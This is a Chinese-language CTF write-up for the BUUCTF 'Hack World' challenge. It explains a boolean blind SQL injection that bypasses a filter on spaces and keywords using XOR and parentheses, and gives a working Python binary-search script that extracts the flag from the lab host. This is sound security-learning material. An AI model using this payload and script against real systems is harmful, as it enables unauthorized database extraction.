刷题记录--[CISCN2019 华北赛区 Day2 Web1]Hack World

1. 引言

题目链接:https://buuoj.cn/challenges#[CISCN2019 华北赛区 Day2 Web1]Hack World

2. 解题思路

  1. 输入 1 或者 2 都有正常回显,但是输入1和2的回显不同输入其他会返回false,猜测为bool型注入。
    image
    image

  2. 空格、*、#、-、+、&、or、and等常规的SQL注入符号都被过滤了。
    image

  3. 输入1/1,0^1的结果和输入1的结果相同,说明为数值型注入,且可以使用盲注。
    image

  4. 利用ascii()和substr()方法进行盲注。

substr(string string,num start,num length);
select substr(参数1,参数2,参数3) from 表名`
string为字符串;start为起始位置;length为长度。
注意:mysql中的start是从1开始的。

ascii(substr((select(flag)from(flag)),i,1))=s
id=1^(ascii(substr((select(flag)from(flag)),i,1))>s)  //二分法

i为整型数,表示flag字段中某一个位置,s为可打印ascii字符,如果flag中第i个字符与字符s一样,那么该语句为true,否则为false,结合二分法的话可以提高盲注脚本的效率。
盲注脚本如下:

import requests
import time

url='http://512bce8a-d748-455e-a8fd-bc960e4fc4ee.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,43):
	max = 127
	min = 32
	while True:
		s = int(((max+min)/2))
		payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
		# print(payload)
		r = requests.post(url,data = {'id':payload})
		time.sleep(0.1)     #防止请求速度过快,被BUUCTF平台屏蔽请求
		if 'Hello, glzjin wants a girlfriend.' in str(r.content):
			max=s
		else:
			min=s
		if((max-min)<=1):
			# print(min)
			# print(max)
			flag+=chr(int(max))
			print(flag)
			break
print(flag)
posted @ 2021-04-13 21:49  s1awwhy  阅读(1326)  评论(0编辑  收藏  举报